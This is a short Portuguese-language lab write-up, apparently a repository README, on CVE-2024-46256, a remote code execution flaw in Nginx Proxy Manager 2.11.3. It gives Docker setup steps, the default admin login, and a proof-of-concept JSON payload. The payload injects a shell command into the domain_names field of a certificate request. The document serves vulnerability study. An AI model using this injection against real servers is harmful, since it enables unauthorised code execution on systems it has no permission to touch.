CVE-2024-46256 Análise da Vulnerabilidade RCE do Nginx Proxy Manager

Configuração do Ambiente

1. Executar o ambiente Nginx Proxy Manager 2.11.3

docker-compose up -d

Ou você pode usar o script automático:

python setup_environment.py

2. Acessar o Nginx Proxy Manager

• URL: http://localhost:81

• Após concluir a configuração inicial, prossiga com os testes

• Faça login com a conta de administrador padrão (e-mail: [email protected] / senha: changeme)

• Verifique a permissão de acesso aos recursos relacionados à emissão de certificados

Informações da Vulnerabilidade

• CVE ID: CVE-2024-46256

• Produto: Nginx Proxy Manager

• Versão: 2.11.3

• Tipo de Vulnerabilidade: Remote Code Execution (RCE)

• CVSS: High

Código PoC

O PoC causa RCE ao permitir que um usuário autenticado execute injeção de template/comando no campo de nome de domínio durante o processo de solicitação de emissão de certificado (ex.: Let's Encrypt).

Exemplo de payload (exemplo conceitual):

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}

Ambiente de Análise

• OS: Windows 10

• Docker: versão mais recente

• Nginx Proxy Manager: 2.11.3